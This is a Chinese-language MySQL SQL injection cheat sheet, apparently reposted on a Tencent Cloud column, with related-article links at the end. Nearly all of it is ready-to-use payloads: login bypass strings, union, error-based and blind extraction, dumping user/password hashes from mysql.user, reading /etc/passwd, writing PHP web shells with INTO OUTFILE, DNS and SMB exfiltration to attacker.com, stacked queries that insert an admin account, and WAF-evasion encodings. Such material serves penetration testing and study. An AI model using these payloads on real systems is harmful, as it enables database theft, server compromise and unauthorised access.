前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >数据库的一些注入技巧-mysql

数据库的一些注入技巧-mysql

作者头像
Jumbo
发布于 2019-11-04 16:53:52
发布于 2019-11-04 16:53:52
9310
举报
文章被收录于专栏:中国白客联盟中国白客联盟

默认数据库

MySQL

需要root权限

information_schema

版本5及更高版本可用

尝试注入

False表示查询无效(mysql语句错误/网页内容为空/与原页面不一致)

True表示查询有效(网页内容与原先一致)

字符串型

漏洞语句:

select * from table where id = ‘1’;

'

False

''

True

"

False

""

True

\

False

\\

True

例子:

SELECT * FROMArticles WHERE id = '1''';

SELECT 1 FROM dualWHERE 1 = '1'''''''''''''UNION SELECT '2';

数字型

漏洞语句:

SELECT * FROM Table WHERE id = 1;

AND 1 True

AND 0 False

AND true True

AND false False

1-false 如果有漏洞则返回1

1-true如果有漏洞则返回0

1*56 如果有漏洞则返回56

1*56 如果没漏洞则返回1

例子:

SELECT * FROM UsersWHERE id = 3-2;

笔记:

true 等同于 1.

false等同于 0.

登录口

漏洞语句:

SELECT * FROM Table WHERE username = '';

' OR '1

' OR 1 -- -

" OR "" = "

" OR 1 = 1 -- -

'='

'LIKE'

'=0--+

例子:

SELECT * FROM Users WHERE username = 'Mike' AND password = '' OR '' = '';

注释查询

以下内容可用于注释掉后面的其他语句

#

/*

-- -

;%00

`

例子:

SELECT * FROM Users WHERE username = '' OR 1=1 -- -' AND password ='';

SELECT * FROM Users WHERE id = '' UNION SELECT 1, 2, 3`';

获取版本

VERSION()

@@VERSION

@@GLOBAL.VERSION

例子:

SELECT * FROM Users WHERE id = '1' ANDMID(VERSION(),1,1) = '5';

内联注释

例子:

漏洞语句:

SELECT * FROM Users limit 1,{INJECTION POINT};

/*!50094eaea*/;

False – 数据库版本大于等于 5.00.94

/*!50096eaea*/;

True - 数据库版本小于5.00.96

/*!50095eaea*/;

False - 数据库版本等于5.00.95

数据库凭证

Table

mysql.user

Columns

user, password

Current User

user(), current_user(), current_user, system_user(), session_user()

例子:

SELECT current_user;

SELECT CONCAT_WS(0x3A, user, password)FROM mysql.user WHERE user = 'root'-- (Privileged)

密码可以解密

数据库名称

Tables

information_schema.schemata, mysql.db

Columns

schema_name, db

Current DB

database(), schema()

例子:

SELECT database();

SELECT schema_name FROM information_schema.schemata;

SELECT DISTINCT(db) FROM mysql.db;-- (Privileged)

数据库主机名

例子:

SELECT @@hostname;

获取表和列

确定列数

通过group/order

GROUP/ORDER BY n+1;

笔记:

不断增加数字,直到页面错误

例子:

漏洞语句:

SELECTusername, password, permission FROM Users WHERE id = '{INJECTION POINT}';

1' ORDER BY 1--+ True

1' ORDER BY 2--+ True

1' ORDER BY 3--+ True

1' ORDER BY 4--+ False

-1' UNION SELECT 1,2,3--+ True 说明存在三列

通过报错(一)

GROUP/ORDER BY 1,2,3,4,5...

例子:

漏洞语句:

SELECTusername, password, permission FROM Users WHERE id = '{INJECTION POINT}'

1' GROUP BY 1,2,3,4,5--+

Unknown column '4' in 'group statement'

1' ORDER BY 1,2,3,4,5--+

Unknown column '4' in 'order clause'

通过报错(二)

SELECT ... INTO var_list, var_list1, var_list2...

例子1:

漏洞语句:

SELECTpermission FROM Users WHERE id = {INJECTION POINT};

-1 UNION SELECT 1 INTO @,@,@

The used SELECT statements have a different number of columns

-1 UNION SELECT 1 INTO @,@

The used SELECT statements have a different number of columns

-1 UNION SELECT 1 INTO @

No error means query uses 1 column

例子 2:

漏洞语句:

SELECT username,permission FROM Users limit 1,{INJECTION POINT};

1 INTO @,@,@

The used SELECT statements have a different number of columns

1 INTO @,@

No error means query uses 2 columns

通过报错(三)

AND (SELECT * FROM SOME_EXISTING_TABLE) = 1

例子:

漏洞语句:

SELECT permission FROMUsers WHERE id = {INJECTION POINT};

1 AND (SELECT * FROM Users) = 1

Operand should contain 3 column(s)

检索表内容

联合查询

UNION SELECTGROUP_CONCAT(table_name) FROM information_schema.tables WHERE version=10;

布尔查询

AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > 'A'

报错查询

AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),FLOOR(RAND(0)*2)))

(@:=1)||@ GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),!@) HAVING @||MIN(@:=0);

AND ExtractValue(1, CONCAT(0x5c, (SELECT table_name FROM information_schema.tables LIMIT 1)));-- Available in 5.1.5

检索列内容

联合查询

UNION SELECT GROUP_CONCAT(column_name) FROMinformation_schema.columns WHERE table_name = 'tablename'

布尔查询

AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > 'A'

报错查询

AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),FLOOR(RAND(0)*2)))

(@:=1)||@ GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),!@) HAVING @||MIN(@:=0);

AND ExtractValue(1, CONCAT(0x5c, (SELECT column_name FROM information_schema.columns LIMIT 1)));-- Available in MySQL 5.1.5

AND (1,2,3) = (SELECT * FROM SOME_EXISTING_TABLE UNION SELECT 1,2,3 LIMIT 1)-- Fixed in MySQL 5.1

AND (SELECT * FROM (SELECT * FROM SOME_EXISTING_TABLE JOIN SOME_EXISTING_TABLE b) a)

AND (SELECT * FROM (SELECT * FROM SOME_EXISTING_TABLE JOIN SOME_EXISTING_TABLE b USING (SOME_EXISTING_COLUMN)) a)

limit注入

漏洞语句:

SELECT username, permission FROM Users WHEREid = 1;

1 PROCEDURE ANALYSE()

Get the first column's name

1 LIMIT 1,1 PROCEDURE ANALYSE()

Get the second column's name

1 LIMIT 2,1 PROCEDURE ANALYSE()

Get the third column's name

一次检索多个表/列

o SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM(information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,'[ ',table_schema,' ] >',table_name,' > ',column_name))))x

SELECT * FROM Users WHERE id = '-1' UNION SELECT1, 2, (SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@)FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN(@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' >',column_name))))x), 4--+';

输出为

[ information_schema ] >CHARACTER_SETS >CHARACTER_SET_NAME

[ information_schema ] >CHARACTER_SETS >DEFAULT_COLLATE_NAME

[ information_schema ] >CHARACTER_SETS >DESCRIPTION

[ information_schema ] >CHARACTER_SETS >MAXLEN

[ information_schema ] >COLLATIONS >COLLATION_NAME

[ information_schema ] >COLLATIONS >CHARACTER_SET_NAME

[ information_schema ] >COLLATIONS > ID

[ information_schema ] >COLLATIONS >IS_DEFAULT

[ information_schema ] >COLLATIONS >IS_COMPILED

SELECT MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20, table_name,0x3c62723e, 0x436f6c756d6e3a20, column_name ORDER BY (SELECT version FROMinformation_schema.tables) SEPARATOR 0x3c62723e),1,1024) FROMinformation_schema.columns

SELECT username FROM Users WHERE id = '-1' UNIONSELECT MID(GROUP_CONCAT(0x3c62723e,0x5461626c653a20, table_name, 0x3c62723e, 0x436f6c756d6e3a20, column_name ORDERBY (SELECT version FROM information_schema.tables) SEPARATOR0x3c62723e),1,1024) FROM information_schema.columns--+';

输出为

Table: talk_revisions

Column: revid

Table: talk_revisions

Column: userid

Table: talk_revisions

Column: user

Table: talk_projects

Column: priority

从系统列查询信息

SELECT table_name FROM information_schema.columnsWHERE column_name = 'username';

SELECT table_name FROM information_schema.columnsWHERE column_name LIKE '%user%';

SELECT column_name FROMinformation_schema.columns WHERE table_name = 'Users';

SELECT column_name FROMinformation_schema.columns WHERE table_name LIKE '%user%';

不使用单引号

SELECT * FROM Users WHERE username = 0x61646D696E

SELECT * FROM Users WHERE username = CHAR(97,100, 109, 105, 110)

字符串连接

SELECT 'a' 'd' 'mi' 'n';

SELECT CONCAT('a', 'd', 'm', 'i', 'n');

SELECT GROUP_CONCAT('a', 'd', 'm', 'i', 'n');

SELECT CONCAT_WS('', 'a', 'd', 'm', 'i', 'n');

条件语句

CASE

IF()

IFNULL()

NULLIF()

SELECT IF(1=1, true, false);

SELECT CASE WHEN 1=1 THEN true ELSE false END;

时间判断

SLEEP()

MySQL 5

BENCHMARK()

MySQL 4/5

' - (IF(MID(version(),1,1) LIKE 5, BENCHMARK(100000,SHA1('true')), false)) - '

权限判断

确定哪个用户具有file权限

ELECT file_priv FROM mysql.user WHERE user = 'username';

Root privileges required

MySQL 4/5

SELECT grantee, is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'file' AND grantee like '%username%';

No privileges required

MySQL 5

文件读取

具有file权限的用户可以读取文件

LOAD_FILE()

SELECT LOAD_FILE('/etc/passwd');

SELECT LOAD_FILE(0x2F6574632F706173737764);

写文件

具有file权限的用户可以写文件

INTOOUTFILE/DUMPFILE

SELECT '<? system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php';

http://localhost/shell.php?c=cat%20/etc/passwd

SELECT '<? fwrite(fopen($_GET[f], \'w\'),file_get_contents($_GET[u])); ?>' INTO OUTFILE '/var/www/get.php'

http://localhost/get.php?f=shell.php&u=http://localhost/c99.txt

数据带外

DNS

SELECT LOAD_FILE(CONCAT('\\\\foo.',(selectMID(version(),1,1)),'.attacker.com\\'));

SMB

' OR 1=1 INTO OUTFILE'\\\\attacker\\SMBshare\\output.txt

多语句执行

SELECT * FROM Users WHERE ID=1 AND 1=0; INSERT INTOUsers(username, password, priv) VALUES ('BobbyTables', 'kl20da$$','admin');

SELECT * FROM Users WHERE ID=1 AND 1=0; SHOW COLUMNS FROMUsers;

内联查询

MySQL允许在感叹号后指定版本号。仅当版本大于或等于指定的版本号时,才执行注释中的语法。

UNION SELECT /*!50000 5,null;%00*//*!40000 4,null-- ,*//*!30000 3,null--x*/0,null--+

SELECT 1/*!41320UNION/*!/*!/*!00000SELECT/*!/*!USER/*!(/*!/*!/*!*/);

混淆

以下字符可以代替空格

09

0A

0B

0C

0D

A0

20

'%0A%09UNION%0CSELECT%A0NULL%20%23

括号也可以用来避免使用空格

UNION(SELECT(column)FROM(table))

and/or之后可以使用的符号

20

Space

2B

+

2D

-

7E

~

21

!

40

@

SELECT 1 FROM dual WHERE 1=1 AND-+-+-+-+~~((1))

利用注释+换行

1'# AND 0-- UNION# Iam a comment! SELECT@tmp:=table_name x FROM-- `information_schema`.tables LIMIT 1#

1'%23%0AAND 0--%0AUNION%23I am a comment!%0ASELECT@tmp:=table_name x FROM--%0A`information_schema`.tablesLIMIT 1%23

VERSION/**/%A0 (/*comment*/)

URL Encoding

SELECT %74able_%6eame FROM information_schema.tables;

Double URL Encoding

SELECT %2574able_%256eame FROM information_schema.tables;

Unicode Encoding

SELECT %u0074able_%u6eame FROM information_schema.tables;

Invalid Hex Encoding (ASP)

SELECT %tab%le_%na%me FROM information_schema.tables;

逃避某些关键字

空格

information_schema . tables

反引号

`information_schema`.`tables`

注释

/*!information_schema.tables*/

其他

information_schema.partitions information_schema.statistics information_schema.key_column_usage information_schema.table_constraints

条件比较

AND , &&

=

:=

BETWEEN ... AND ...

BINARY

&

~

|

^

CASE

DIV

/

<=>

=

>=

>

IS NOT NULL

IS NOT

IS NULL

IS

<<

<=

<

LIKE

-

% or MOD

NOT BETWEEN ... AND ...

!= , <>

NOT LIKE

NOT REGEXP

NOT , !

|| , OR

+

REGEXP

>>

RLIKE

SOUNDS LIKE

*

-

XOR

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2019-10-31,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 中国白客联盟 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
数据库的一些注入技巧-sqlserver
SELECT * FROM Users WHERE username = '' OR 1=1 --' AND password ='';
Jumbo
2019/11/05
6750
mysql注入高级篇1--内置系统表注入
团队纳新了,为了让小鲜肉们有素材,我写了一些基础的东西。大神勿喷..... mysql> select database(); +--------------------+ | database() | +--------------------+ | information_schema | +--------------------+ 1 row in set (0.00 sec) 我当前选中的是information_schema mysql> show tables; +------
lonelyvaf
2018/06/07
1.3K0
复习 - SQL注入
场景:网站A无注入点,网站B存在MySQL注入,且网站AB使用同一数据库。此时可利用网站B的注入点跨库查询获取网站A的数据。
Naraku
2021/07/28
1K0
MySQL手动注入步骤
判断注入点是有很多的方法,常见的 and -1=-1 还有其它的类型比如,堆叠注入、盲注的布尔型注入,时间型注入,还有报错注入以及闭合的一些符合,’(单引号),” (双引号)括号、百分号等一些闭合符合,还有就是注释符号,-- 或者 # 我局几个例子: 注释:双杠后面需要空格 防止注入失败,双杠注释不起作用就用 #
用户9006224
2022/12/21
1.2K0
新手科普 | MySQL手工注入之基本注入流程
MySQL手工注入的基本步骤以及一些技巧的记录,当出现学习手工注入的时候,网上的文章参差不齐,导致很长一段时间对手工注入的理解一直处于一知半解的状态,特此记录本文,让小白们少走些弯路。本文只针对手工注
FB客服
2018/02/24
1.1K0
新手科普 | MySQL手工注入之基本注入流程
sql注入入门学习(数字型)(连载中)
在MySQL中,表名存放在information_schema数据库下tables表table_name字段中、查表名我们主要用到的是TABLES表
一个淡定的打工菜鸟
2018/12/07
1.2K0
SQL注入常用姿势
以Sqli-labs Less8为例,无论输入什么就只有正确和错误,于是可以判断基于布尔的盲注。
用户11062199
2024/05/30
1290
报错注入详解_报错注入的过程
报错注入是SQL注入的一种。 利用前提:页面上没有显示位,但是需要输出SQL语句执行错误信息。比如mysql_error() 优点:不需要显示位 缺点:需要输出mysql_error()的报错信息
全栈程序员站长
2022/11/11
2.8K0
sql注入漏洞
第二个参数要求是xpath格式的字符串,语法正确是会按照路径 /该xml文件/要查询的字符串 进行查询
h3110_w0r1d
2024/02/19
2680
sql注入漏洞
Mysql 手工注入速查表 | 建议收藏
绕 WAF 过滤空格: +,%2B,%20,%09,%0d,%0A,/**/,/*tuns*/ 使用 like、IN、NOT IN 替换 =: script.php?par=1 and subs
信安之路
2021/09/17
1.6K0
安全笔记
CONCAT()函数用于将多个字符串连接成一个字符串。 使用数据表Info作为示例,其中SELECT id,name FROM info LIMIT 1;的返回结果为
XRSec
2022/02/13
3560
SQL注入的各种姿势
当我们在输入框中输入不正常的id如1’ union select 1,database()%23,sql语句为
天钧
2019/07/26
1.1K0
SQL注入的各种姿势
sqli-labs Lesson-1 字符型注入
这篇文章是我正式学习 sql 注入的第一篇文章,下载了 sqli-labs 靶机作为渗透环境,里面的题目很多,有几十题的 sql 注入,跟着网上的 wp 一起做了一题,然后还是学到挺多东西的,这里拿第一关来记录一下
棒棒鸡不棒
2022/09/01
4310
sqli-labs Lesson-1 字符型注入
SQL注入从入门到进阶
本文章产生的缘由是因为专业老师,让我给本专业的同学讲一哈SQL注入和XSS入门,也就是本文的入门篇,讲完两节课后,发现自己对于SQL注入的理解也就仅仅局限于入门,于是有了进阶章节的产生。
小简
2022/12/29
4K0
SQL注入从入门到进阶
2022年最详细的SQL注入总结笔记
SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息,在实战和测试中,难免会遇见到一些sql注入,下面,我将总结一些常用sql注入中的不同姿势。
纯情
2023/04/27
1.2K0
2022年最详细的SQL注入总结笔记
【less-2】sqli-labs靶场第二关
https://sqli.wmcoder.site/sqli-labs/Less-2/
未名编程
2024/10/12
1360
【less-2】sqli-labs靶场第二关
SQL注入 安全狗apache3.5.12048版本绕过
没错,这次我们又来了,还是那条狗,绕过的是安全狗apache3.5.12048版本,个人感觉这个狗比上次的那个有难度些。上次发的文章里面没安全狗的文件,因为当时安装之后文件就删了,这次有,后台回复关键字:
乌鸦安全
2021/08/05
5620
SQL注入 安全狗apache3.5.12048版本绕过
SQL注入靶场Day4 宽字节注入
mysql支持16进制输入,16进制输入可以替代字符从而避免了单引号的加入 user 16进制得到:75736572
Baige
2022/03/22
6991
SQL注入靶场Day4 宽字节注入
1.2.1-SQL注入-SQL注入语法类型-union联合查询注入
SQL UNION 操作符 用于合并两个或多个SELECT语句的结果集。 注意: SELECT语句必须拥有相同数量的列。 列也必须拥有相似的数据类型。 每条SELECT语句中列的顺序必须相同。
tea9
2022/07/16
9330
SQL注入报错注入函数[通俗易懂]
报错注入的前提是当语句发生错误时,错误信息被输出到前端。其漏洞原因是由于开发人员在开发程序时使用了print_r (),mysql_error(),mysqli_connect_error()函数将mysql错误信息输出到前端,因此可以通过闭合原先的语句,去执行后面的语句。
全栈程序员站长
2022/11/11
4.2K0
SQL注入报错注入函数[通俗易懂]
相关推荐
数据库的一些注入技巧-sqlserver
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档